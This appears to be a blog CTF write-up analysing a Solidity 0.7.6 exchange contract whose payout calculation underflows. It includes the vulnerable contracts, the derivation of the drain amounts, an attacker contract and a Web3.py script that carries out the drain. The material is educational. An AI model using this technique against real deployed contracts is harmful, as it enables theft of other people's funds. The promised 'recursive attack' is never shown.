Exploiting Integer Underflows in Solidity

Search for a command to run...

No comments yet. Be the first to comment.
Active Directory delegation is one of those features that makes complete sense on paper and causes constant headaches in practice. It solves a real problem. It's also misconfigured in almost every env
DOM Clobbering + JSONP Callback Injection via DOMPurify Misconfiguration
This post provides a rigorous, low-level analysis of a vulnerable casino smart contract system, focusing on the interaction between on-chain logic and an off-chain RNG oracle. We formalise the vulnerability as a probabilistic bias in the oracle's out...

Pentester Nepal, a leading cybersecurity community in Nepal, recently celebrated its 12th anniversary on August 16, 2025, at Ullens College in Lalitpur. The free event featured expert talks on bug bounty hunting, AI governance, OAuth attacks, and mor...

In the world of blockchain security and Capture The Flag (CTF) challenges, vulnerabilities in smart contracts often stem from subtle arithmetic issues, especially in older Solidity versions (pre-0.8.0), where unchecked operations could lead to overflows and underflows. This technical blog post dissects a real-world-inspired CTF challenge involving an "exchange" contract. We'll cover everything from contract analysis to vulnerability identification, exploit mechanics, mathematical derivations, and an optimised recursive attack that minimises the attacker's initial capital. By the end, you'll understand how to spot and exploit integer underflows in Solidity.
This post assumes familiarity with Solidity basics, Ethereum Virtual Machine (EVM) behaviour, and tools like Web3.py for interaction. All code is provided for reproducibility.
The challenge consists of two contracts: Setup and Chal. The Setup contract deploys Chal, funds it with 100 ETH, and defines the win condition: drain the Chal contract's balance below 50 ETH.
pragma solidity ^0.7.6;
import "./Chal.sol";
contract Setup {
Chal public TARGET;
constructor() payable {
// Create the challenge contract
TARGET = new Chal();
// Require 100 ether to be sent during deployment
require(msg.value == 100 ether, "Must send 100 ether");
// Send all the ether to the challenge contract
payable(address(TARGET)).transfer(100 ether);
}
function isSolved() public view returns (bool) {
// Challenge is solved if the TARGET contract has less than 50 ether
return address(TARGET).balance < 50 ether;
}
}
Key Points:
constructor(): Deploys Chal and transfers 100 ETH to it. This ensures the challenge starts with a funded contract.
isSolved(): A simple view function checking if Chal's balance is below 50 ETH (50 * 10^18 wei). This is the flag condition.
pragma solidity ^0.7.6;
contract Chal {
address public owner;
constructor() {
owner = msg.sender;
}
// Accept ether
receive() external payable {}
// Trade function
function trade() external payable {
uint256 amount = msg.value;
require(amount >= 3 ether, "You must trade at least 3 ETH");
uint256 balanceBeforeDeposit = address(this).balance - msg.value;
uint256 fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000;
uint256 maximumReturn = 150 ether;
uint256 outputAmount = amount * 9 / 10 - fee;
if (outputAmount > maximumReturn) {
outputAmount = maximumReturn;
}
payable(msg.sender).transfer(outputAmount);
}
// Get balance
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Key Points:
constructor(): Sets the owner to the deployer (in this case, Setup).
receive(): Allows the contract to accept ETH via plain transfers.
trade(): The core function. It simulates a "trade" where you send ETH (msg.value >= 3 ETH), a fee is calculated, and you get back 90% of your amount minus the fee, capped at 150 ETH.
getBalance(): A view function to check the contract's ETH balance.
The trade() function looks like a simple exchange with a fee based on the contract's prior balance and your excess amount (beyond 3 ETH). But as we'll see, it's riddled with vulnerabilities due to integer arithmetic in Solidity ^0.7.6.
Solidity versions before 0.8.0 do not have built-in overflow/underflow checks. Arithmetic operations wrap around on underflow (e.g., 0 - 1 = 2^256 - 1).
trade()Input Validation:
amount = msg.value
require(amount >= 3 ether): Ensures minimum trade size.
Balance Calculation:
balanceBeforeDeposit = address(this).balance - msg.value
msg.value to get the balance before the call. This is correct because address(this).balance includes msg.value during the call.Fee Calculation:
fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000
(amount - 3 ether): Excess amount beyond the minimum.
(balanceBeforeDeposit / 1 ether): Scales the balance in ETH units (integer division, so 100 ether / 1 ether = 100).
Multiplied by 6/1000: A 0.6% fee scaled by excess and prior balance.
No overflow checks: Multiplications can overflow if numbers are large.
Output Calculation:
outputAmount = amount * 9 / 10 - fee
90% of the input minus the fee.
Critical Vulnerability: If fee > amount * 9 / 10, this underflows to a huge number (2^256 - small value).
Cap: if (outputAmount > 150 ether) outputAmount = 150 ether
outputAmount is huge, so it gets capped at 150 ETH.Transfer:
payable(msg.sender).transfer(outputAmount)
The underflow happens in outputAmount = amount * 9 / 10 - fee when fee > amount * 9 / 10.
To trigger:
Inflate balanceBeforeDeposit by sending extra ETH before calling trade().
Choose amount such that the fee calculation makes fee just large enough to underflow.
Let's derive the math.
Let:
( A = amount ) (in wei, but we'll use ETH for simplicity)
( B = balanceBeforeDeposit / 1e18 ) (in ETH units)
Fee = (A - 3) * B * 6 / 1000
ReturnBase = A * 0.9
Output = ReturnBase - Fee
For underflow: Fee > ReturnBase
So: (A - 3) * B * 6 / 1000 > A * 0.9
Simplify (assuming ETH units): (A - 3) * B * 0.006 > 0.9 A
Divide both sides by 0.006: (A - 3) * B > 150 A
B > 150 A / (A - 3)
We need the smallest A >= 3 for which we can choose B (by sending extra ETH) to satisfy this.
Also, after underflow, output caps at 150 ETH, so we want to drain as much as possible.
Initial Chal balance: 100 ETH.
To set B:
Send X ETH via plain transfer: Chal balance = 100 + X
Then call trade(A): During call, balance = 100 + X + A, so balanceBeforeDeposit = 100 + X
B = (100 + X) (since /1e18, but in ETH units)
We need B > 150 A / (A - 3)
For minimal capital (X + A), solve for integer A >=3 where underflow happens and drain > input.
Example: Try A=24 ETH
150 * 24 / (24-3) = 3600 / 21 ≈ 171.428
So B >= 172
X = 172 - 100 = 72 ETH
Total sent: 72 + 24 = 96 ETH
Now compute fee:
Excess = 24-3=21
Fee = 21 * 172 * 6 / 1000 = 21 * 172 * 0.006 = 21.672 ETH
ReturnBase = 24 * 0.9 = 21.6 ETH
21.6 - 21.672 = -0.072 → underflow to HUGE number
Cap to 150 ETH
During the tx:
Chal starts at 100
Send 72 → 172
Send 24 → temp 196
Transfer 150 back → Chal ends at 196 - 150 = 46 ETH <50 → Solved!
Net profit: 150 received - 96 sent = +54 ETH (plus Chal drained below 50).
Why 172? Because 171: Fee=211716/1000=21.546, 21.6-21.546=0.054>0, no underflow.
This works with 96 ETH initial.
The challenge is a simple "exchange" contract (Chal) funded with 100 ETH by a Setup contract. The goal is to drain the Chal contract's balance below 50 ETH, as checked by Setup.isSolved().
Key concepts:
Solidity 0.7.6 Behaviour: No automatic overflow/underflow protection. Subtraction underflow wraps around (e.g., 0 - 1 = 2^256 - 1).
EVM Execution: Contract balances include msg.value during calls, and transfer() reverts if insufficient funds.
Exploit Type: Integer underflow in payout calculation, leading to a capped "overpayout" that drains the contract.
Initial Capital: The exploit requires 96 ETH from the attacker (72 ETH extra + 24 ETH trade), but returns 150 ETH, netting a profit while solving the challenge.
We'll use an attacker contract to execute the drain in one transaction.
Let's examine the code line by line.
The Setup contract deploys and funds Chal.
pragma solidity ^0.7.6;
import "./Chal.sol";
contract Setup {
Chal public TARGET;
constructor() payable {
TARGET = new Chal();
require(msg.value == 100 ether, "Must send 100 ether");
payable(address(TARGET)).transfer(100 ether);
}
function isSolved() public view returns (bool) {
return address(TARGET).balance < 50 ether;
}
}
constructor():
Deploys Chal.
Checks that 100 ETH is sent during deployment.
Transfers the 100 ETH to Chal.
isSolved(): Returns true if Chal's balance is less than 50 ETH (50 * 10^18 wei). This is the win condition, queried after the exploit.
The contract simulates an ETH trade with a fee and payout.
pragma solidity ^0.7.6;
contract Chal {
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {}
function trade() external payable {
uint256 amount = msg.value;
require(amount >= 3 ether, "You must trade at least 3 ETH");
uint256 balanceBeforeDeposit = address(this).balance - msg.value;
uint256 fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000;
uint256 maximumReturn = 150 ether;
uint256 outputAmount = amount * 9 / 10 - fee;
if (outputAmount > maximumReturn) {
outputAmount = maximumReturn;
}
payable(msg.sender).transfer(outputAmount);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
constructor(): Sets owner to the deployer (Setup).
receive(): Enables receiving ETH via plain transfers (key for inflating the balance).
trade(): The vulnerable function.
amount = msg.value: Input ETH.
require(amount >= 3 ether): Minimum trade.
balanceBeforeDeposit = address(this).balance - msg.value: Computes pre-call balance. Note: address(this).balance includes msg.value, so this is the balance before the call.
fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000:
(amount - 3 ether): Excess over minimum.
(balanceBeforeDeposit / 1 ether): Pre-balance in whole ETH (integer division).
All uint256, integer arithmetic.
outputAmount = amount * 9 / 10 - fee: 90% of input minus fee. Vulnerability here: If fee > 90% of amount, underflows to a large number.
Cap to 150 ETH if too large (which it will be after underflow).
transfer(outputAmount): Sends back the amount. Reverts if insufficient balance.
getBalance(): Views contract balance.
The core issue is in outputAmount = amount * 9 / 10 - fee.
If fee > amount * 9 / 10, subtraction underflows to a large value (2^256 - (fee - amount*0.9)).
Then, the cap sets it to 150 ETH, allowing us to receive 150 ETH back for a small input.
To make the fee large, inflate balanceBeforeDeposit it by sending extra ETH before calling trade().
Let:
a = amount / ether (e.g., 24)
b = balanceBeforeDeposit / ether (initial 100, but we inflate)
fee (in ether) ≈ (a - 3) * b * 0.006
return_base ≈ a * 0.9
For underflow: (a - 3) * b * 0.006 > a * 0.9
b > (a * 0.9) / 0.006 / (a - 3) = 150 * a / (a - 3)
b >= floor(150 * a / (a - 3)) + 1 (for exact integer)
To inflate b to the required, send x = b - 100 ETH extra.
Total cost: x + a = [150 * a / (a - 3) + 1 - 100] + a
To minimise total, from the calculation, the minimum is 96 ETH at a=22 to 27 or so.
We use a=24, b=172, x=72, total=96.
Exact calculation (in wei for precision):
excess = (24 - 3) * 10^18 = 21e18
return_base = 24e18 * 9 // 10 = 21.6e18
fee = 21e18 * 172 * 6 // 1000 = 21.672e18
21.6e18 - 21.672e18 = underflow to (2^256 - 0.072e18)
Cap to 150e18.
Challenge starts with 100 ETH.
Send 72 ETH extra (plain transfer): Chal = 172 ETH.
Call trade{value: 24 ETH}: Temp balance = 196 ETH, balanceBeforeDeposit = 172 ETH.
Fee = 21.672 ETH, outputAmount underflows, caps to 150 ETH.
Transfer 150 ETH back: Chal = 196 - 150 = 46 ETH < 50.
Solved!
Note: Transfer succeeds because 196 >= 150.
We use an attacker contract to send extra and trade in one tx.
pragma solidity ^0.7.6;
interface Chal {
function trade() external payable;
}
contract Attacker {
Chal public target;
constructor(Chal _target) {
target = _target;
}
function attack(uint256 extra, uint256 tradeAmount) external payable {
// Send extra to inflate balanceBeforeDeposit
payable(address(target)).transfer(extra);
// Trigger trade
target.trade{value: tradeAmount}();
}
receive() external payable {}
}
constructor: Sets the target Chal address.
attack: Sends extra ETH, then calls trade.
receive: Allows receiving the drained ETH.
This script connects to a custom RPC, deploys the attacker, executes the exploit, and verifies.
Assume .env with RPC_URL, PRIVATE_KEY, SETUP_ADDRESS, CHAIN_ID.
import os
import json
from web3 import Web3
from solcx import compile_source
from dotenv import load_dotenv
load_dotenv()
RPC_URL = os.getenv("RPC_URL")
PRIVATE_KEY = os.getenv("PRIVATE_KEY")
SETUP_ADDRESS = os.getenv("SETUP_ADDRESS")
CHAIN_ID = int(os.getenv("CHAIN_ID", 31337))
w3 = Web3(Web3.HTTPProvider(RPC_URL))
if not w3.is_connected():
raise RuntimeError("Failed to connect to RPC")
account = w3.eth.account.from_key(PRIVATE_KEY)
print(f"[+] Attacker address: {account.address}")
print(f"[+] Balance: {w3.from_wei(w3.eth.get_balance(account.address), 'ether')} ETH")
SETUP_ABI = [
{"inputs": [], "name": "TARGET", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"},
{"inputs": [], "name": "isSolved", "outputs": [{"type": "bool"}], "stateMutability": "view", "type": "function"}
]
setup = w3.eth.contract(address=SETUP_ADDRESS, abi=SETUP_ABI)
chal_addr = setup.functions.TARGET().call()
print(f"[+] Chal address: {chal_addr}")
with open("Attacker.sol", "r") as f:
attacker_source = f.read()
compiled = compile_source(attacker_source, output_values=["abi", "bin"], solc_version="0.7.6")
contract_id, contract_info = list(compiled.items())[0]
ATTACKER_ABI = contract_info['abi']
ATTACKER_BYTE = contract_info['bin']
AttackerFactory = w3.eth.contract(abi=ATTACKER_ABI, bytecode=ATTACKER_BYTE)
deploy_txn = AttackerFactory.constructor(chal_addr).build_transaction({
"from": account.address,
"nonce": w3.eth.get_transaction_count(account.address),
"gas": 3_000_000,
"gasPrice": w3.eth.gas_price,
"chainId": CHAIN_ID
})
signed = account.sign_transaction(deploy_txn)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
attacker = w3.eth.contract(address=tx_receipt.contractAddress, abi=ATTACKER_ABI)
print(f"[+] Attacker deployed at: {attacker.address}")
extra_wei = 72 * 10**18
trade_wei = 24 * 10**18
total_wei = extra_wei + trade_wei
attack_txn = attacker.functions.attack(extra_wei, trade_wei).build_transaction({
"from": account.address,
"value": total_wei,
"nonce": w3.eth.get_transaction_count(account.address),
"gas": 2_000_000,
"gasPrice": w3.eth.gas_price,
"chainId": CHAIN_ID
})
signed = account.sign_transaction(attack_txn)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
final_balance = w3.eth.get_balance(chal_addr) / 10**18
solved = setup.functions.isSolved().call()
print(f"[+] Final Chal balance: {final_balance} ETH")
print(f"[+] Solved? {solved}")
Configuration: Loads from .env.
Connection and Account: Connects to RPC, loads private key.
Load Setup: Gets Chal address.
Compile and Deploy Attacker: Uses solcx to compile on-the-fly.
Execute Attack: Sends 96 ETH with the call.
Verify: Checks balance and isSolved.
This exploit demonstrates the dangers of unchecked arithmetic in legacy Solidity. By inflating the balance and triggering an underflow, we drain the contract below 50 ETH in one transaction. Always use Solidity 0.8+ with checked math or SafeMath for safety.
References:
Solidity Docs on Underflows (pre-0.8): https://docs.soliditylang.org/en/v0.7.6/security-considerations.html
This technical write-up is co-crafted with Grok